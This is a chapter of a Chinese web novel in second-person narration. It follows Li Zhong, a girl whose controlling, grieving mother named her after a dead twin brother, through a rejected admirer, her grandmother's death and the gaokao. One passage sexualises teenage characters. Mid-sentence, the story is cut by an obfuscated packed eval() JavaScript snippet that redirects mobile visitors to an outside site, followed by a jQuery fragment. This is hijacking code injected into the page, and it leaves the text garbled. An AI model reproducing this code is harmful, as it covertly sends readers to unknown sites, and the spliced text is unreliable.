李重啊。


    你的身体里流淌着和哥哥一样的血，若论样貌的话，即使是异卵双胞胎，你也应该和他有八九分相像。母亲擅自把哥哥的名字赋予你，却不肯给予你相同的爱。


    那你什么？


    你是哥哥生命的延续，是母亲思念儿子的幽深寄托，是母亲认为她命苦的根源……


    你唯独不是你。


    你这么大一个活人不如一个死人，就连名字也不是你的。


    所以，你到底什么时候才能放下对母亲的执念？


    -


    方月华再未出现。


    宋景福却出现了。他把你堵在巷子尽头，红着眼质问你做了什么？


    你神情漠然，“跟你有什么关系？”


    “你是不是故意和他谈恋爱？他为什么会突然转学？我就知道你不是故意不理我！”


    他像一条被抛弃的大狗狗，终于再次遇到主人。仰着渴望被抚摸，被理会，被拥抱的可怜狗脸，想从主人的表情和神态上抠出“还爱他”的证据。


    你轻轻叹了口气，“疯狗没有被乱棍打死，真是遗憾啊。”


    他的双眸立马透出光来，却又瞬即暗淡下去。


    “疯狗跑了之后，就少了很多乐趣呢。”你幽幽道。


    宋景富低沉着声音质问，“我也是你的乐趣之一吗？”


    你呵呵笑起来，“难道不是吗？”


    大狗狗一拳打到墙上，指节瞬时渗出血来。


    你饶有兴趣地看着他。


    “李重。你到底有没有心？”


    “你那天亲了我……我以为，我们……”


    你哦了一声，把他的手拽过来。


    手很大，完全可以把你的手包裹起来。


    但他的手没有任何茧子，干干净净，郁郁葱葱。


    他含着泪看着你，看着你握住他的手腕，抚上他的手心，又把手翻过来，盯着指节处的血看了半天。


    最后，他看着你把你的脸贴上去。


    冰凉的触感让他不由浑身一颤，还未等他适应，你柔软滚烫的舌尖舔舐上来，细细的，慢慢的，一点点把渗出的血舔进口腔，吞进肚里。


    “李重……”


    他有了反应。哪怕此情此景如此诡谲，他还是有了反应。


    你舔舐的样子像虔诚的圣徒，又像夜行的狐妖，他忍着难受不敢打断。


    不知道过了多久，你终于舔干净了所有的血，抬起头时露出一声低不可闻的满足的喟叹，细长的脖子翘起，唇边还有一抹隐隐血色。


    宋景富狠狠把你搂在怀里，在你的脖子，你的耳边，你的鬓角，拱着，亲着……


    你好似进入了吸血后的贤者时间，待反应过来时，他已经把你挤在墙上，有个地方硬的可怕。


    你一把推开他，冷声道：“谁允许你亲我了？”


    他一愣，随即又露出受伤的表情，呜呜咽咽地说：“你舔我……”


    你擦了擦唇，“那又如何？”


    -


    人类的恋爱和婚姻本就是一场悖论。刚开始都是新鲜的，甜蜜的，心动的，说了很多情话，做了很多傻事，也一定发了很多誓言，即便两人冲过各种障碍，结为夫妻，从此成为一家人，以为就能过上幸福生活吗？


    渐渐消退的激情将一点点侵蚀所有的爱恋，如同漫长的潮湿，在看不见的地方长满了霉菌。这些霉菌会一点点霸占你的人生，腐朽着一切。


    更何况，很多人还走不到婚姻这一步，在刚开始时便暴露出可怜的、浅薄的、无趣的本质，谈及的爱也名不副实。


    既然知道结果终将如此，何必开始呢？


    -


    宋景富只看到你眼中的不屑。


    他以为你不屑的是他。


    “李重，你以为你又有多好？”


    他咬着牙，一字一句地在脑中搜刮肮脏的字眼砸你身上，好挽回点他可怜的自尊。


    “你不过是个没爹疼没妈爱的可怜虫。没人对你好。只有我愿意陪你说话，陪你发疯……只有我掏心掏肺地对你好，你凭什么还敢嫌弃我？”


    “你他妈就是个胆小鬼，是个怂逼。你明明喜欢我，却不敢承认。因为你害怕受伤。那你活该一辈子没人爱，没人疼。因为你就是不配！”


    “你还说方月华是条疯狗？你也是！你能用什么方法逼他转学？把他赶走？你是个女孩子啊，有哪个女孩子像你这么贱，用自己的身体做诱饵？”


    “你以为我猜不到吗？”


    -


    你无所谓。


    是的。


    不管宋景富爱你还是恨你，对你来说都是不足为虑的小事。


    甚至连小事都算不上。


    这个世界上唯一让你放不下执念的只有你的母亲。


    除她之外，都无所谓。


    -


    宋景富骂完你后显然有些后悔，但你脸上依旧平平淡淡，好似他说再难听，甚至把你杀了，你也不会把眉头多皱一下。


    他彻底失望了。


    嘴巴张了又张，扭身冲进满是迷雾的夜里，再也没有回头。


    -


    从高二开始，你发现母亲突然对你“好”起来了。


    她对你的好，自然不是传统意义上的好，是王庆芬式的好。


    她刚开始时，总悄悄拉开她次卧的门，从门缝里盯着你看……看你趴在客厅的桌子上做题，看你边打哈欠边背书，看你边听“随身听”边在地上像虫一样扭来扭去。书包里的东西被她偷偷翻得乱七八糟。


    没过几天，你往书包里塞了一张纸条，母亲于是大大方方地坐在你旁边盯着你看。


    若是旁人的家庭，这一幕该多和谐啊。


    但放在你家，母亲像探照灯一样试图把你的所有行为都囊括在她的眼皮底下，而你就像案板上的肉任她挑来挑去。


    以前她的眼里没你，现在她的眼里全是你浑身上下不符合她要求的错误。


    你用了红皮筋绑头发，是错误。


    你内衣隐隐约约，是错误。


    你和卖馄饨的老大爷多说一句话，是错误。


    你发呆是错误，听歌是错误，闲逛是错误，晚回是错误，犟嘴是错误，一切的一切都是错误。


    她终于亲自给你买新衣服了。但这些衣服全是黑白灰的低调颜色，款式也老旧宽大，一定要遮住你膨胀的胸部和臀部。


    力争让你消隐在人群中。


    -


    这事要是放旁人身上早疯了。


    你没疯。


    或者你早都疯了，这些不过是餐前点心一样，对你来说并无任何压力。


    你甚至从母亲诡异的挑剔和疯狂的掌控中感受到一点点“爱”。


    这些“爱”让你有了真实的存在感。


    你安静地接受母亲的一切安排。


    同时你也无比清楚，母亲之所以这么做无非是不想你再有什么“出格”行为，玷污了哥哥的名字。


    没关系。


    这样的爱怎么就不算爱呢？


    -


    高三时，你成绩依然很好。


    班主任把你母亲叫过去谈话，提及你的成绩，她非常激动地说要是不出意外，你正常发挥考取全国排名前二十的大学没有一点问题。


    你母亲表情淡然，“考啥都一样。”


    班主任觉得你母亲很奇怪。要是其他家长早都高兴地握住她的手说感谢老师栽培，可她竟然说出“考啥都一样”？


    能一样吗？肯定不一样啊。


    鉴于你平常在学校的“怪异”表现，有这样一个“怪异”的母亲也属正常。


    -


    高三下学期刚开学没几天，你外婆病危，你和母亲两人匆匆赶回去……


    彼时，老太太气若游丝，躺在床上，挣扎着最后一口气一定要见到她放不下的两个人。


    很久很久之后，你总在假设，若是你在外婆身边长大，会不会能咂摸出点开心来？


    母亲哭得满脸都是泪，你也是。


    外婆的手很糙，一只拉着你，另一只拉着你母亲。


    她浑浊的眼里透着最后的一点光。


    她说她要死了。


    她说你母亲命苦，你也命苦，两个命苦的人以后要相依为命了。


    -


    送完葬回到市里。


    夜深巷冷，唯有何家巷口的馄饨摊上还冒着最后一缕热气。


    昏黄的灯光落在老爷子像虾子一样弓着的后背上。他不知道在这里摆摊多少年了，反正你搬过来后他一直都在。


    他见过你孤寂的上学身影，见过你躲在阴影处的深夜徘徊，见过你站在金桂下面盯着花流眼泪，他看着你渐渐拔高，看到过曾经跟在你身后的宋景富，以及试图亲昵你却被你躲开的方月华。


    他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774307|152022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从来不问你什么，总在你如果他的摊位时，仰声问一句：“饿不饿？”


    你若摇头，他就笑着说好。你若点头，他便赶紧给你做碗馄饨。


    明明收的小碗的钱，却总把碗盛得满满的。


    此刻，你和母亲肩戴黑纱再次路过他的摊位。


    你瞥见母亲竟然停了脚，坐到长条凳子上，“两碗馄饨。”


    你知道她讨厌一切男人，不管年长的还是年轻的，甚至连小男孩都讨厌，除了她生下来就没了呼吸的儿子。她总在背后疯狂咒骂那些来店里吃饭的男性食客，嫌弃他们体味臭，说话不检点，连一点饭钱都要赊欠，没本事却天天在她这个寡妇面前吹嘘……


    你有时候甚至歹毒地想：幸好哥哥没活下来，若是他活下来，也变成了男人惯有的模样，长成了男人惯有的品性，母亲还会如此爱他吗？


    此刻，她刚丧母，还要带着你这个拖油瓶回到冷如冰窟的蜗居，按照你的推测，她今晚必然要钻进哥哥的房间大哭一场的，可她却平静地坐在她讨厌的地方，和讨厌的人说了话。


    你有点害怕。这太不正常了。


    一碗馄饨先上，母亲推到你面前，还帮你拿了一双勺子。


    你眨了眨眼睛，心里更忐忑了。觉得下一秒她就要掀了这桌子，把滚烫的馄饨泼你脸上，然后指责你没良心的狗东西，外婆都去世了还吃得下去饭。


    母亲见你发呆，眉头一皱，“你不是很喜欢这家馄饨？”


    你抿了下唇，接过勺子，把头低垂下来。


    馄饨怎么这么烫？把你烫得眼泪都飙出来了？


    你偷偷用手背擦了擦，几乎把头塞进碗里。


    -


    高考前一周，母亲情绪明显很波动。


    她当着你的面买了很多东西塞进哥哥的房间，不是学习用品就是小男孩的玩具。若是他活着，现在已经十八岁了，你敢笃定他肯定不喜欢奥特曼，也肯定不喜欢学习。


    你冷眼旁观，非常平静。


    母亲无处挥洒的母爱变成了克制不住的购买欲。


    庆幸她只是这个毛病，若是被什么所谓大仙忽悠，花钱买符能见到哥哥的灵魂，或者花钱做法能送哥哥轮回到好人家，有个好身体，再把家里挂满铜镜葫芦宝剑符纸什么，怕是你会忍不住把家烧了。


    幸好她的一切诡谲行为都掩藏在那个主卧里，好让你能如鸵鸟般维持最基本的脸面。


    高考前一天，正当你该提前去看考场时，母亲躺在床上嚎叫不止，说她腰突又犯了。你把家里存的止疼药塞她嘴里，把止痛贴贴上，她还是喊疼，不得已你只得带着她去医院。


    这种病，一切以病人的体感为主。她说疼，那必然是疼的。


    折腾到半宿，母亲才停止了嚎叫，让你带她回家。


    你才睡了三个小时便踏上了高考考场。


    三天后，母亲又跟着你去学校对答案。


    老师们满脸期待地等你报预估成绩，母亲也紧紧盯着你。


    你平静地对完答案，说出比平时成绩还高十来分的总分时，所有人都欢呼起来。


    唯有你母亲黑着脸，转身就走。


    -


    家里被砸得稀巴烂。


    你站在门口，看着前两天还疼得爬不起来的母亲，此刻狠狠用脚踹着你的书，你的笔……


    她转过身来，整张脸狰狞着，满眼都是恨意。


    你笑了笑，“怎么了？”


    母亲把你扯进屋来，厉声质问。


    “你考那么高，就是为了考远点对不对？”


    “你以为你考远点就能摆脱我吗？”


    “我是你妈！我让你干什么你就得干什么！”


    “我所有的不幸都是你带来的。你以为你考上好大学就能过上好日子吗？不可能！”


    “你要永远和我一起住在这个房子里，陪着你哥哥，陪着我！”


    你被她的唾沫几乎淹没，她的话像刀一样一下一下插在你的胸口。


    你笑了起来。


    -


    李重啊，


    你终于走到这一天，终于可以逃脱母亲制造了十八年的牢笼，昂着头走出这个家。


    你伸出手，轻轻抚在母亲的脸上。


    “妈，放心。我不会离开你。”


    “最后一门考试，我没写哥哥的名字。


    “我写了我自己的。”